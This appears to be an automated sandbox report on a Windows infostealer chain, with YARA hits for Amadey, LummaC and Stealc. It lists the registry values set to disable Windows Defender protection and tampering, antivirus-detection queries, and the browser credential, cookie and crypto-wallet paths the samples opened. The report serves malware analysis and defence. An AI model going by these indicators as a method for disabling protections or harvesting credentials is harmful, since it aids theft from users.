Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F5CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00F5CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00C12517 GetTimeZoneInformation,

6_2_00C12517

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe

Registry value created: TamperProtection 0

Source: d0d9725343.exe, 0000000B.00000002.3094417595.0000000003849000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092005941.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093560739.000000000103D000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3218675497.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: 176986cc9c.exe, 0000000D.00000003.3218627779.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 3981530833.exe PID: 1776, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 176986cc9c.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.3180012118.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.3122477181.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3258280474.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3351423687.0000000000728000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3354435913.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f570600774.exe PID: 5936, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d"jMp
Source: d0d9725343.exe, 0000000B.00000003.2979875499.0000000001045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: d0d9725343.exe, 0000000B.00000003.2979897591.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3f
Source: 176986cc9c.exe, 0000000F.00000003.3367486748.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: d0d9725343.exe, 0000000B.00000003.2979875499.0000000001045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: d0d9725343.exe, 0000000B.00000003.2979875499.0000000001045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
